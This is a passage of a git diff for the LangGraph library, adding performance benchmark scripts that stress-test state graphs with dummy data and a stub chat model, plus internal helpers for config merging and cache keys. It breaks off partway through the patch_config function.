+++ b/libs/langgraph/bench/pydantic_state.py
@@ -0,0 +1,327 @@
+import operator
+from collections.abc import Sequence
+from functools import partial
+from random import choice
+from typing import Annotated
+
+from pydantic import BaseModel, Field, field_validator
+
+from langgraph.constants import END, START
+from langgraph.graph.state import StateGraph
+
+
+def pydantic_state(n: int) -> StateGraph:
+    class State(BaseModel):
+        messages: Annotated[list, operator.add] = Field(default_factory=list)
+
+        @field_validator("messages", mode="after")
+        @classmethod
+        def validate_messages(cls, v):
+            if not isinstance(v, list):
+                raise TypeError("messages must be a list")
+            for msg in v:
+                if not isinstance(msg, dict):
+                    raise TypeError("messages must be a list of dicts")
+                if not all(isinstance(k, str) for k in msg.keys()):
+                    raise TypeError("messages must be a list of dicts with str keys")
+            return v
+
+        trigger_events: Annotated[list, operator.add] = Field(default_factory=list)
+        """The external events that are converted by the graph."""
+
+        @field_validator("trigger_events", mode="after")
+        @classmethod
+        def validate_trigger_events(cls, v):
+            if not isinstance(v, list):
+                raise TypeError("trigger_events must be a list")
+            for event in v:
+                if not isinstance(event, dict):
+                    raise TypeError("trigger_events must be a list of dicts")
+                if not all(isinstance(k, str) for k in event.keys()):
+                    raise TypeError(
+                        "trigger_events must be a list of dicts with str keys"
+                    )
+            return v
+
+        primary_issue_medium: Annotated[str, lambda x, y: y or x] = Field(
+            default="email"
+        )
+        """The primary issue medium for the current conversation."""
+
+        @field_validator("primary_issue_medium", mode="after")
+        @classmethod
+        def validate_primary_issue_medium(cls, v):
+            if not isinstance(v, str):
+                raise TypeError("primary_issue_medium must be a string")
+            return v
+
+        autoresponse: Annotated[dict | None, lambda _, y: y] = Field(
+            default=None
+        )  # Always overwrite
+
+        @field_validator("autoresponse", mode="after")
+        @classmethod
+        def validate_autoresponse(cls, v):
+            if v is not None and not isinstance(v, dict):
+                raise TypeError("autoresponse must be a dict or None")
+            return v
+
+        issue: Annotated[dict | None, lambda x, y: y if y else x] = Field(default=None)
+
+        @field_validator("issue", mode="after")
+        @classmethod
+        def validate_issue(cls, v):
+            if v is not None and not isinstance(v, dict):
+                raise TypeError("issue must be a dict or None")
+            return v
+
+        relevant_rules: list[dict] | None = Field(default=None)
+        """SOPs fetched from the rulebook that are relevant to the current conversation."""
+
+        @field_validator("relevant_rules", mode="after")
+        @classmethod
+        def validate_relevant_rules(cls, v):
+            if v is None:
+                return v
+            if not isinstance(v, list):
+                raise TypeError("relevant_rules must be a list or None")
+            for rule in v:
+                if not isinstance(rule, dict):
+                    raise TypeError("relevant_rules must be a list of dicts")
+                if not all(isinstance(k, str) for k in rule.keys()):
+                    raise TypeError(
+                        "relevant_rules must be a list of dicts with str keys"
+                    )
+            return v
+
+        memory_docs: list[dict] | None = Field(default=None)
+        """Memory docs fetched from the memory service that are relevant to the current conversation."""
+
+        @field_validator("memory_docs", mode="after")
+        @classmethod
+        def validate_memory_docs(cls, v):
+            if v is None:
+                return v
+            if not isinstance(v, list):
+                raise TypeError("memory_docs must be a list or None")
+            for doc in v:
+                if not isinstance(doc, dict):
+                    raise TypeError("memory_docs must be a list of dicts")
+                if not all(isinstance(k, str) for k in doc.keys()):
+                    raise TypeError("memory_docs must be a list of dicts with str keys")
+            return v
+
+        categorizations: Annotated[list[dict], operator.add] = Field(
+            default_factory=list
+        )
+        """The issue categorizations auto-generated by the AI."""
+
+        @field_validator("categorizations", mode="after")
+        @classmethod
+        def validate_categorizations(cls, v):
+            if not isinstance(v, list):
+                raise TypeError("categorizations must be a list")
+            for categorization in v:
+                if not isinstance(categorization, dict):
+                    raise TypeError("categorizations must be a list of dicts")
+                if not all(isinstance(k, str) for k in categorization.keys()):
+                    raise TypeError(
+                        "categorizations must be a list of dicts with str keys"
+                    )
+            return v
+
+        responses: Annotated[list[dict], operator.add] = Field(default_factory=list)
+        """The draft responses recommended by the AI."""
+
+        @field_validator("responses", mode="after")
+        @classmethod
+        def validate_responses(cls, v):
+            if not isinstance(v, list):
+                raise TypeError("responses must be a list")
+            for response in v:
+                if not isinstance(response, dict):
+                    raise TypeError("responses must be a list of dicts")
+                if not all(isinstance(k, str) for k in response.keys()):
+                    raise TypeError("responses must be a list of dicts with str keys")
+            return v
+
+        user_info: Annotated[dict | None, lambda x, y: y if y is not None else x] = (
+            Field(default=None)
+        )
+        """The current user state (by email)."""
+
+        @field_validator("user_info", mode="after")
+        @classmethod
+        def validate_user_info(cls, v):
+            if v is not None and not isinstance(v, dict):
+                raise TypeError("user_info must be a dict or None")
+            return v
+
+        crm_info: Annotated[dict | None, lambda x, y: y if y is not None else x] = (
+            Field(default=None)
+        )
+        """The CRM information for organization the current user is from."""
+
+        @field_validator("crm_info", mode="after")
+        @classmethod
+        def validate_crm_info(cls, v):
+            if v is not None and not isinstance(v, dict):
+                raise TypeError("crm_info must be a dict or None")
+            return v
+
+        email_thread_id: Annotated[
+            str | None, lambda x, y: y if y is not None else x
+        ] = Field(default=None)
+        """The current email thread ID."""
+
+        @field_validator("email_thread_id", mode="after")
+        @classmethod
+        def validate_email_thread_id(cls, v):
+            if v is not None and not isinstance(v, str):
+                raise TypeError("email_thread_id must be a string or None")
+            return v
+
+        slack_participants: Annotated[dict, operator.or_] = Field(default_factory=dict)
+        """The growing list of current slack participants."""
+
+        @field_validator("slack_participants", mode="after")
+        @classmethod
+        def validate_slack_participants(cls, v):
+            if not isinstance(v, dict):
+                raise TypeError("slack_participants must be a dict")
+            for participant in v:
+                if not isinstance(participant, str):
+                    raise TypeError("slack_participants must be a dict with str keys")
+            return v
+
+        bot_id: str | None = Field(default=None)
+        """The ID of the bot user in the slack channel."""
+
+        @field_validator("bot_id", mode="after")
+        @classmethod
+        def validate_bot_id(cls, v):
+            if v is not None and not isinstance(v, str):
+                raise TypeError("bot_id must be a string or None")
+            return v
+
+        notified_assignees: Annotated[dict, operator.or_] = Field(default_factory=dict)
+
+        @field_validator("notified_assignees", mode="after")
+        def validate_notified_assignees(cls, v):
+            if not isinstance(v, dict):
+                raise TypeError("notified_assignees must be a dict")
+            for assignee in v:
+                if not isinstance(assignee, str):
+                    raise TypeError("notified_assignees must be a dict with str keys")
+            return v
+
+    list_fields = {
+        "messages",
+        "trigger_events",
+        "categorizations",
+        "responses",
+        "memory_docs",
+        "relevant_rules",
+    }
+    dict_fields = {
+        "user_info",
+        "crm_info",
+        "slack_participants",
+        "notified_assignees",
+        "autoresponse",
+        "issue",
+    }
+
+    def read_write(read: str, write: Sequence[str], input: State) -> dict:
+        val = getattr(input, read)
+        val = {val: val} if isinstance(val, str) else val
+        val_single = val[-1] if isinstance(val, list) else val
+        val_list = val if isinstance(val, list) else [val]
+        return {
+            k: val_list
+            if k in list_fields
+            else val_single
+            if k in dict_fields
+            else "".join(choice("abcdefghijklmnopqrstuvwxyz") for _ in range(n))
+            for k in write
+        }
+
+    builder = StateGraph(State)
+    builder.add_edge(START, "one")
+    builder.add_node(
+        "one",
+        partial(read_write, "messages", ["trigger_events", "primary_issue_medium"]),
+    )
+    builder.add_edge("one", "two")
+    builder.add_node(
+        "two",
+        partial(read_write, "trigger_events", ["autoresponse", "issue"]),
+    )
+    builder.add_edge("two", "three")
+    builder.add_edge("two", "four")
+    builder.add_node(
+        "three",
+        partial(read_write, "autoresponse", ["relevant_rules"]),
+    )
+    builder.add_node(
+        "four",
+        partial(
+            read_write,
+            "trigger_events",
+            ["categorizations", "responses", "memory_docs"],
+        ),
+    )
+    builder.add_node(
+        "five",
+        partial(
+            read_write,
+            "categorizations",
+            [
+                "user_info",
+                "crm_info",
+                "email_thread_id",
+                "slack_participants",
+                "bot_id",
+                "notified_assignees",
+            ],
+        ),
+    )
+    builder.add_edge(["three", "four"], "five")
+    builder.add_edge("five", "six")
+    builder.add_node(
+        "six",
+        partial(read_write, "responses", ["messages"]),
+    )
+    builder.add_conditional_edges(
+        "six", lambda state: END if len(state.messages) > n else "one"
+    )
+
+    return builder
+
+
+if __name__ == "__main__":
+    import asyncio
+
+    import uvloop
+    from langgraph.checkpoint.memory import InMemorySaver
+
+    graph = pydantic_state(1000).compile(checkpointer=InMemorySaver())
+    input = {
+        "messages": [
+            {
+                str(i) * 10: {
+                    str(j) * 10: ["hi?" * 10, True, 1, 6327816386138, None] * 5
+                    for j in range(5)
+                }
+                for i in range(5)
+            }
+        ]
+    }
+    config = {"configurable": {"thread_id": "1"}, "recursion_limit": 20000000000}
+
+    async def run():
+        async for c in graph.astream(input, config=config):
+            print(c.keys())
+
+    uvloop.install()
+    asyncio.run(run())
diff --git a/libs/langgraph/bench/react_agent.py b/libs/langgraph/bench/react_agent.py
new file mode 100644
index 0000000..9834e3b
--- /dev/null
+++ b/libs/langgraph/bench/react_agent.py
@@ -0,0 +1,80 @@
+from typing import Any
+from uuid import uuid4
+
+from langchain_core.callbacks import CallbackManagerForLLMRun
+from langchain_core.language_models.fake_chat_models import (
+    FakeMessagesListChatModel,
+)
+from langchain_core.messages import AIMessage, BaseMessage, HumanMessage
+from langchain_core.outputs import ChatGeneration, ChatResult
+from langchain_core.tools import StructuredTool
+from langgraph.checkpoint.base import BaseCheckpointSaver
+from langgraph.prebuilt.chat_agent_executor import create_react_agent
+
+from langgraph.pregel import Pregel
+
+
+def react_agent(n_tools: int, checkpointer: BaseCheckpointSaver | None) -> Pregel:
+    class FakeFunctionChatModel(FakeMessagesListChatModel):
+        def bind_tools(self, functions: list):
+            return self
+
+        def _generate(
+            self,
+            messages: list[BaseMessage],
+            stop: list[str] | None = None,
+            run_manager: CallbackManagerForLLMRun | None = None,
+            **kwargs: Any,
+        ) -> ChatResult:
+            response = self.responses[self.i].copy()
+            if self.i < len(self.responses) - 1:
+                self.i += 1
+            else:
+                self.i = 0
+            generation = ChatGeneration(message=response)
+            return ChatResult(generations=[generation])
+
+    tool = StructuredTool.from_function(
+        lambda query: f"result for query: {query}" * 10,
+        name=str(uuid4()),
+        description="",
+    )
+
+    model = FakeFunctionChatModel(
+        responses=[
+            AIMessage(
+                content="",
+                tool_calls=[
+                    {
+                        "id": str(uuid4()),
+                        "name": tool.name,
+                        "args": {"query": str(uuid4()) * 100},
+                    }
+                ],
+                id=str(uuid4()),
+            )
+            for _ in range(n_tools)
+        ]
+        + [
+            AIMessage(content="answer" * 100, id=str(uuid4())),
+        ]
+    )
+
+    return create_react_agent(model, [tool], checkpointer=checkpointer)
+
+
+if __name__ == "__main__":
+    import asyncio
+
+    import uvloop
+    from langgraph.checkpoint.memory import InMemorySaver
+
+    graph = react_agent(100, checkpointer=InMemorySaver())
+    input = {"messages": [HumanMessage("hi?")]}
+    config = {"configurable": {"thread_id": "1"}, "recursion_limit": 20000000000}
+
+    async def run():
+        len([c async for c in graph.astream(input, config=config)])
+
+    uvloop.install()
+    asyncio.run(run())
diff --git a/libs/langgraph/bench/sequential.py b/libs/langgraph/bench/sequential.py
new file mode 100644
index 0000000..886f51b
--- /dev/null
+++ b/libs/langgraph/bench/sequential.py
@@ -0,0 +1,48 @@
+"""Create a sequential no-op graph consisting of a few hundred nodes."""
+
+from langgraph._internal._runnable import RunnableCallable
+from langgraph.graph import MessagesState, StateGraph
+
+
+def create_sequential(number_nodes: int) -> StateGraph:
+    """Create a sequential no-op graph consisting of a few hundred nodes."""
+    builder = StateGraph(MessagesState)
+
+    def noop(state: MessagesState) -> None:
+        """No-op function."""
+        pass
+
+    async def anoop(state: MessagesState) -> None:
+        """No-op function."""
+        pass
+
+    prev_node = "__start__"
+
+    for i in range(number_nodes):
+        name = f"node_{i}"
+        builder.add_node(name, RunnableCallable(noop, anoop))
+        builder.add_edge(prev_node, name)
+        prev_node = name
+
+    builder.add_edge(prev_node, "__end__")
+    return builder
+
+
+if __name__ == "__main__":
+    import asyncio
+    import time
+
+    import uvloop
+
+    graph = create_sequential(3000).compile()
+    input = {"messages": []}  # Empty list of messages
+    config = {"recursion_limit": 20000000000}
+
+    async def run():
+        len([c async for c in graph.astream(input, config=config)])
+
+    uvloop.install()
+    start = time.time()
+    asyncio.run(run())
+    end = time.time()
+    print(f"Time taken: {end - start:.4f} seconds")
diff --git a/libs/langgraph/bench/serde_allowlist.py b/libs/langgraph/bench/serde_allowlist.py
new file mode 100644
index 0000000..4278b9a
--- /dev/null
+++ b/libs/langgraph/bench/serde_allowlist.py
@@ -0,0 +1,81 @@
+from __future__ import annotations
+
+from collections import deque
+from dataclasses import dataclass
+from enum import Enum
+from typing import Annotated
+
+from pydantic import BaseModel
+from typing_extensions import NotRequired, TypedDict
+
+from langgraph._internal._serde import collect_allowlist_from_schemas
+
+
+class Color(Enum):
+    RED = "red"
+    BLUE = "blue"
+
+
+@dataclass
+class InnerDataclass:
+    value: int
+
+
+class InnerModel(BaseModel):
+    name: str
+
+
+class InnerTyped(TypedDict):
+    payload: InnerDataclass
+    optional: NotRequired[InnerModel]
+
+
+@dataclass
+class Node:
+    value: int
+    child: Node | None = None
+
+
+@dataclass
+class NestedDataclass:
+    inner: InnerDataclass
+    items: list[InnerModel]
+    mapping: dict[str, InnerDataclass]
+    optional: InnerModel | None
+    union: InnerDataclass | InnerModel
+    queue: deque[InnerDataclass]
+    frozen: frozenset[InnerModel]
+
+
+AnnotatedList = Annotated[list[InnerDataclass], "meta"]
+
+
+class DummyChannel:
+    @property
+    def ValueType(self) -> type[InnerDataclass]:
+        return InnerDataclass
+
+    @property
+    def UpdateType(self) -> type[InnerModel]:
+        return InnerModel
+
+
+SCHEMAS_SMALL = [InnerDataclass, InnerModel, Color]
+SCHEMAS_LARGE = [
+    InnerDataclass,
+    InnerModel,
+    Color,
+    InnerTyped,
+    Node,
+    NestedDataclass,
+    AnnotatedList,
+]
+CHANNELS = {"a": DummyChannel(), "b": DummyChannel()}
+
+
+def collect_allowlist_small() -> None:
+    collect_allowlist_from_schemas(schemas=SCHEMAS_SMALL, channels=CHANNELS)
+
+
+def collect_allowlist_large() -> None:
+    collect_allowlist_from_schemas(schemas=SCHEMAS_LARGE, channels=CHANNELS)
diff --git a/libs/langgraph/bench/wide_dict.py b/libs/langgraph/bench/wide_dict.py
new file mode 100644
index 0000000..19b4114
--- /dev/null
+++ b/libs/langgraph/bench/wide_dict.py
@@ -0,0 +1,151 @@
+import operator
+from collections.abc import Sequence
+from functools import partial
+from random import choice
+from typing import Annotated
+
+from typing_extensions import TypedDict
+
+from langgraph.constants import END, START
+from langgraph.graph.state import StateGraph
+
+
+def wide_dict(n: int) -> StateGraph:
+    class State(TypedDict):
+        messages: Annotated[list, operator.add]
+        trigger_events: Annotated[list, operator.add]
+        """The external events that are converted by the graph."""
+        primary_issue_medium: Annotated[str, lambda x, y: y or x]
+        autoresponse: Annotated[dict | None, lambda _, y: y]  # Always overwrite
+        issue: Annotated[dict | None, lambda x, y: y if y else x]
+        relevant_rules: list[dict] | None
+        """SOPs fetched from the rulebook that are relevant to the current conversation."""
+        memory_docs: list[dict] | None
+        """Memory docs fetched from the memory service that are relevant to the current conversation."""
+        categorizations: Annotated[list[dict], operator.add]
+        """The issue categorizations auto-generated by the AI."""
+        responses: Annotated[list[dict], operator.add]
+        """The draft responses recommended by the AI."""
+
+        user_info: Annotated[dict | None, lambda x, y: y if y is not None else x]
+        """The current user state (by email)."""
+        crm_info: Annotated[dict | None, lambda x, y: y if y is not None else x]
+        """The CRM information for organization the current user is from."""
+        email_thread_id: Annotated[str | None, lambda x, y: y if y is not None else x]
+        """The current email thread ID."""
+        slack_participants: Annotated[dict, operator.or_]
+        """The growing list of current slack participants."""
+        bot_id: str | None
+        """The ID of the bot user in the slack channel."""
+        notified_assignees: Annotated[dict, operator.or_]
+
+    list_fields = {
+        "messages",
+        "trigger_events",
+        "categorizations",
+        "responses",
+        "memory_docs",
+        "relevant_rules",
+    }
+    dict_fields = {
+        "user_info",
+        "crm_info",
+        "slack_participants",
+        "notified_assignees",
+        "autoresponse",
+        "issue",
+    }
+
+    def read_write(read: str, write: Sequence[str], input: State) -> dict:
+        val = input.get(read)
+        val = {val: val} if isinstance(val, str) else val
+        val_single = val[-1] if isinstance(val, list) else val
+        val_list = val if isinstance(val, list) else [val]
+        return {
+            k: val_list
+            if k in list_fields
+            else val_single
+            if k in dict_fields
+            else "".join(choice("abcdefghijklmnopqrstuvwxyz") for _ in range(n))
+            for k in write
+        }
+
+    builder = StateGraph(State)
+    builder.add_edge(START, "one")
+    builder.add_node(
+        "one",
+        partial(read_write, "messages", ["trigger_events", "primary_issue_medium"]),
+    )
+    builder.add_edge("one", "two")
+    builder.add_node(
+        "two",
+        partial(read_write, "trigger_events", ["autoresponse", "issue"]),
+    )
+    builder.add_edge("two", "three")
+    builder.add_edge("two", "four")
+    builder.add_node(
+        "three",
+        partial(read_write, "autoresponse", ["relevant_rules"]),
+    )
+    builder.add_node(
+        "four",
+        partial(
+            read_write,
+            "trigger_events",
+            ["categorizations", "responses", "memory_docs"],
+        ),
+    )
+    builder.add_node(
+        "five",
+        partial(
+            read_write,
+            "categorizations",
+            [
+                "user_info",
+                "crm_info",
+                "email_thread_id",
+                "slack_participants",
+                "bot_id",
+                "notified_assignees",
+            ],
+        ),
+    )
+    builder.add_edge(["three", "four"], "five")
+    builder.add_edge("five", "six")
+    builder.add_node(
+        "six",
+        partial(read_write, "responses", ["messages"]),
+    )
+    builder.add_conditional_edges(
+        "six", lambda state: END if len(state["messages"]) > n else "one"
+    )
+
+    return builder
+
+
+if __name__ == "__main__":
+    import asyncio
+
+    import uvloop
+    from langgraph.checkpoint.memory import InMemorySaver
+
+    graph = wide_dict(1000).compile(checkpointer=InMemorySaver())
+    input = {
+        "messages": [
+            {
+                str(i) * 10: {
+                    str(j) * 10: ["hi?" * 10, True, 1, 6327816386138, None] * 5
+                    for j in range(50)
+                }
+                for i in range(50)
+            }
+        ]
+    }
+    config = {"configurable": {"thread_id": "1"}, "recursion_limit": 20000000000}
+
+    async def run():
+        async for c in graph.astream(input, config=config):
+            print(c.keys())
+
+    uvloop.install()
+    asyncio.run(run())
diff --git a/libs/langgraph/bench/wide_state.py b/libs/langgraph/bench/wide_state.py
new file mode 100644
index 0000000..218655f
--- /dev/null
+++ b/libs/langgraph/bench/wide_state.py
@@ -0,0 +1,163 @@
+import operator
+from collections.abc import Sequence
+from dataclasses import dataclass, field
+from functools import partial
+from random import choice
+from typing import Annotated
+
+from langgraph.constants import END, START
+from langgraph.graph.state import StateGraph
+
+
+def wide_state(n: int) -> StateGraph:
+    @dataclass(kw_only=True)
+    class State:
+        messages: Annotated[list, operator.add] = field(default_factory=list)
+        trigger_events: Annotated[list, operator.add] = field(default_factory=list)
+        """The external events that are converted by the graph."""
+        primary_issue_medium: Annotated[str, lambda x, y: y or x] = field(
+            default="email"
+        )
+        autoresponse: Annotated[dict | None, lambda _, y: y] = field(
+            default=None
+        )  # Always overwrite
+        issue: Annotated[dict | None, lambda x, y: y if y else x] = field(default=None)
+        relevant_rules: list[dict] | None = field(default=None)
+        """SOPs fetched from the rulebook that are relevant to the current conversation."""
+        memory_docs: list[dict] | None = field(default=None)
+        """Memory docs fetched from the memory service that are relevant to the current conversation."""
+        categorizations: Annotated[list[dict], operator.add] = field(
+            default_factory=list
+        )
+        """The issue categorizations auto-generated by the AI."""
+        responses: Annotated[list[dict], operator.add] = field(default_factory=list)
+        """The draft responses recommended by the AI."""
+
+        user_info: Annotated[dict | None, lambda x, y: y if y is not None else x] = (
+            field(default=None)
+        )
+        """The current user state (by email)."""
+        crm_info: Annotated[dict | None, lambda x, y: y if y is not None else x] = (
+            field(default=None)
+        )
+        """The CRM information for organization the current user is from."""
+        email_thread_id: Annotated[
+            str | None, lambda x, y: y if y is not None else x
+        ] = field(default=None)
+        """The current email thread ID."""
+        slack_participants: Annotated[dict, operator.or_] = field(default_factory=dict)
+        """The growing list of current slack participants."""
+        bot_id: str | None = field(default=None)
+        """The ID of the bot user in the slack channel."""
+        notified_assignees: Annotated[dict, operator.or_] = field(default_factory=dict)
+
+    list_fields = {
+        "messages",
+        "trigger_events",
+        "categorizations",
+        "responses",
+        "memory_docs",
+        "relevant_rules",
+    }
+    dict_fields = {
+        "user_info",
+        "crm_info",
+        "slack_participants",
+        "notified_assignees",
+        "autoresponse",
+        "issue",
+    }
+
+    def read_write(read: str, write: Sequence[str], input: State) -> dict:
+        val = getattr(input, read)
+        val = {val: val} if isinstance(val, str) else val
+        val_single = val[-1] if isinstance(val, list) else val
+        val_list = val if isinstance(val, list) else [val]
+        return {
+            k: val_list
+            if k in list_fields
+            else val_single
+            if k in dict_fields
+            else "".join(choice("abcdefghijklmnopqrstuvwxyz") for _ in range(n))
+            for k in write
+        }
+
+    builder = StateGraph(State)
+    builder.add_edge(START, "one")
+    builder.add_node(
+        "one",
+        partial(read_write, "messages", ["trigger_events", "primary_issue_medium"]),
+    )
+    builder.add_edge("one", "two")
+    builder.add_node(
+        "two",
+        partial(read_write, "trigger_events", ["autoresponse", "issue"]),
+    )
+    builder.add_edge("two", "three")
+    builder.add_edge("two", "four")
+    builder.add_node(
+        "three",
+        partial(read_write, "autoresponse", ["relevant_rules"]),
+    )
+    builder.add_node(
+        "four",
+        partial(
+            read_write,
+            "trigger_events",
+            ["categorizations", "responses", "memory_docs"],
+        ),
+    )
+    builder.add_node(
+        "five",
+        partial(
+            read_write,
+            "categorizations",
+            [
+                "user_info",
+                "crm_info",
+                "email_thread_id",
+                "slack_participants",
+                "bot_id",
+                "notified_assignees",
+            ],
+        ),
+    )
+    builder.add_edge(["three", "four"], "five")
+    builder.add_edge("five", "six")
+    builder.add_node(
+        "six",
+        partial(read_write, "responses", ["messages"]),
+    )
+    builder.add_conditional_edges(
+        "six", lambda state: END if len(state.messages) > n else "one"
+    )
+
+    return builder
+
+
+if __name__ == "__main__":
+    import asyncio
+
+    import uvloop
+    from langgraph.checkpoint.memory import InMemorySaver
+
+    graph = wide_state(1000).compile(checkpointer=InMemorySaver())
+    input = {
+        "messages": [
+            {
+                str(i) * 10: {
+                    str(j) * 10: ["hi?" * 10, True, 1, 6327816386138, None] * 5
+                    for j in range(50)
+                }
+                for i in range(50)
+            }
+        ]
+    }
+    config = {"configurable": {"thread_id": "1"}, "recursion_limit": 20000000000}
+
+    async def run():
+        async for c in graph.astream(input, config=config):
+            print(c.keys())
+
+    uvloop.install()
+    asyncio.run(run())
diff --git a/libs/langgraph/langgraph/_internal/__init__.py b/libs/langgraph/langgraph/_internal/__init__.py
new file mode 100644
index 0000000..2e71cdc
--- /dev/null
+++ b/libs/langgraph/langgraph/_internal/__init__.py
@@ -0,0 +1,4 @@
+"""Internal modules for LangGraph.
+
+This module is not part of the public API, and thus stability is not guaranteed.
+"""
diff --git a/libs/langgraph/langgraph/_internal/_cache.py b/libs/langgraph/langgraph/_internal/_cache.py
new file mode 100644
index 0000000..c9c4514
--- /dev/null
+++ b/libs/langgraph/langgraph/_internal/_cache.py
@@ -0,0 +1,31 @@
+from __future__ import annotations
+
+from collections.abc import Hashable, Mapping, Sequence
+from typing import Any
+
+
+def _freeze(obj: Any, depth: int = 10) -> Hashable:
+    if isinstance(obj, Hashable) or depth <= 0:
+        # already hashable, no need to freeze
+        return obj
+    elif isinstance(obj, Mapping):
+        # sort keys so {"a":1,"b":2} == {"b":2,"a":1}
+        return tuple(sorted((k, _freeze(v, depth - 1)) for k, v in obj.items()))
+    elif isinstance(obj, Sequence):
+        return tuple(_freeze(x, depth - 1) for x in obj)
+    # numpy / pandas etc. can provide their own .tobytes()
+    elif hasattr(obj, "tobytes"):
+        return (
+            type(obj).__name__,
+            obj.tobytes(),
+            obj.shape if hasattr(obj, "shape") else None,
+        )
+    return obj  # strings, ints, dataclasses with frozen=True, etc.
+
+
+def default_cache_key(*args: Any, **kwargs: Any) -> str | bytes:
+    """Default cache key function that uses the arguments and keyword arguments to generate a hashable key."""
+    import pickle
+
+    # protocol 5 strikes a good balance between speed and size
+    return pickle.dumps((_freeze(args), _freeze(kwargs)), protocol=5, fix_imports=False)
diff --git a/libs/langgraph/langgraph/_internal/_config.py b/libs/langgraph/langgraph/_internal/_config.py
new file mode 100644
index 0000000..b79b24c
--- /dev/null
+++ b/libs/langgraph/langgraph/_internal/_config.py
@@ -0,0 +1,474 @@
+from __future__ import annotations
+
+from collections import ChainMap
+from collections.abc import Mapping, Sequence
+from os import getenv
+from typing import Any, cast
+
+from langchain_core.callbacks import (
+    AsyncCallbackManager,
+    BaseCallbackManager,
+    CallbackManager,
+    Callbacks,
+)
+from langchain_core.runnables import RunnableConfig
+from langchain_core.runnables.config import (
+    CONFIG_KEYS,
+    COPIABLE_KEYS,
+    var_child_runnable_config,
+)
+from langgraph.checkpoint.base import CheckpointMetadata
+
+from langgraph._internal._constants import (
+    _CHECKPOINT_COORDINATE_KEYS,
+    CONF,
+    CONFIG_KEY_CHECKPOINT_ID,
+    CONFIG_KEY_CHECKPOINT_MAP,
+    CONFIG_KEY_CHECKPOINT_NS,
+    NS_END,
+    NS_SEP,
+)
+
+DEFAULT_RECURSION_LIMIT = int(getenv("LANGGRAPH_DEFAULT_RECURSION_LIMIT", "10007"))
+DELTA_MAX_SUPERSTEPS_SINCE_SNAPSHOT = int(
+    getenv("LANGGRAPH_DELTA_MAX_SUPERSTEPS_SINCE_SNAPSHOT", "5000")
+)
+
+
+def recast_checkpoint_ns(ns: str) -> str:
+    """Remove task IDs from checkpoint namespace.
+
+    Args:
+        ns: The checkpoint namespace with task IDs.
+
+    Returns:
+        str: The checkpoint namespace without task IDs.
+    """
+    return NS_SEP.join(
+        part.split(NS_END)[0] for part in ns.split(NS_SEP) if not part.isdigit()
+    )
+
+
+def patch_configurable(
+    config: RunnableConfig | None, patch: dict[str, Any]
+) -> RunnableConfig:
+    if config is None:
+        return {CONF: patch}
+    elif CONF not in config:
+        return {**config, CONF: patch}
+    else:
+        return {**config, CONF: {**config[CONF], **patch}}
+
+
+def patch_checkpoint_map(
+    config: RunnableConfig | None, metadata: CheckpointMetadata | None
+) -> RunnableConfig:
+    if config is None:
+        return config
+    elif parents := (metadata.get("parents") if metadata else None):
+        conf = config[CONF]
+        return patch_configurable(
+            config,
+            {
+                CONFIG_KEY_CHECKPOINT_MAP: {
+                    **parents,
+                    conf[CONFIG_KEY_CHECKPOINT_NS]: conf[CONFIG_KEY_CHECKPOINT_ID],
+                },
+            },
+        )
+    else:
+        return config
+
+
+def _copy_mapping_value(value: Any) -> Any:
+    return dict(value) if isinstance(value, Mapping) else value
+
+
+def _merge_metadata(
+    base: Mapping[str, Any] | None, new: Mapping[str, Any] | None
+) -> dict[str, Any]:
+    """Merge metadata without mutating inputs.
+
+    Top-level keys merge with newer values winning. `lc_versions` is the only
+    mapping-valued key that merges one level deeper, so independent LangChain
+    packages can contribute package versions without changing generic metadata
+    semantics. Mapping values are copied one level, so deeper nested objects
+    remain shared. `None` inputs are treated as empty metadata.
+
+    Mirrors `langchain_core.runnables.config._merge_metadata_dicts` so configs
+    that pass through LangGraph's merge keep the same `lc_versions` semantics;
+    keep the two in sync. Unlike lc-core, this copies mapping values one level
+    (intentionally more defensive — do not "simplify" back to a shared ref).
+    """
+    merged = {key: _copy_mapping_value(value) for key, value in (base or {}).items()}
+    for key, value in (new or {}).items():
+        if (
+            key == "lc_versions"
+            and isinstance(merged.get(key), Mapping)
+            and isinstance(value, Mapping)
+        ):
+            merged[key] = {
+                **cast(Mapping[str, Any], merged[key]),
+                **value,
+            }
+        else:
+            merged[key] = _copy_mapping_value(value)
+    return merged
+
+
+def _merge_callbacks(base: Callbacks, new: Callbacks) -> Callbacks:
+    """Merge two callbacks values (None / list / BaseCallbackManager).
+
+    Six cases total (3 base types x 2 non-None new types).
+    """
+    if new is None:
+        return base
+    if base is None:
+        return new.copy() if isinstance(new, (list, BaseCallbackManager)) else new
+    if isinstance(new, list):
+        if isinstance(base, list):
+            return base + new
+        if isinstance(base, BaseCallbackManager):
+            mngr = base.copy()
+            for cb in new:
+                mngr.add_handler(cb, inherit=True)
+            return mngr
+    elif isinstance(new, BaseCallbackManager):
+        if isinstance(base, list):
+            mngr = new.copy()
+            for cb in base:
+                mngr.add_handler(cb, inherit=True)
+            return mngr
+        if isinstance(base, BaseCallbackManager):
+            return base.merge(new)
+    raise NotImplementedError(f"Unsupported callback types: {type(base)}, {type(new)}")
+
+
+def merge_configs(*configs: RunnableConfig | None) -> RunnableConfig:
+    """Merge multiple configs into one.
+
+    Args:
+        *configs: The configs to merge.
+
+    Returns:
+        RunnableConfig: The merged config.
+    """
+    base: RunnableConfig = {}
+    # Even though the keys aren't literals, this is correct
+    # because both dicts are the same type
+    for config in configs:
+        if config is None:
+            continue
+        for key, value in config.items():
+            if not value:
+                continue
+            if key == "metadata":
+                base[key] = _merge_metadata(
+                    cast(Mapping[str, Any] | None, base.get(key)),
+                    cast(Mapping[str, Any], value),
+                )
+            elif key == "tags":
+                if base_value := base.get(key):
+                    base[key] = [*base_value, *value]  # type: ignore
+                else:
+                    base[key] = value  # type: ignore[literal-required]
+            elif key == CONF:
+                if base_value := base.get(key):
+                    base[key] = {**base_value, **value}  # type: ignore[dict-item]
+                else:
+                    base[key] = value
+            elif key == "callbacks":
+                base["callbacks"] = _merge_callbacks(
+                    base.get("callbacks"), cast(Callbacks, value)
+                )
+            elif key == "recursion_limit":
+                if config["recursion_limit"] != DEFAULT_RECURSION_LIMIT:
+                    base["recursion_limit"] = config["recursion_limit"]
+            else:
+                base[key] = config[key]  # type: ignore[literal-required]
+    if CONF not in base:
+        base[CONF] = {}
+    return base
+
+
+def patch_config(
+    config: RunnableConfig | None,
+    *,
+    callbacks: Callbacks = None,
+    recursion_limit: int | None = None,
+    max_concurrency: int | None = None,
+    run_name: str | None = None,
+    configurable: dict[str, Any] | None = None,
+) -> RunnableConfig:
+    """Patch a config with new values.
+
+    Args:
+        config: The config to patch.
+        callbacks: The callbacks to set.
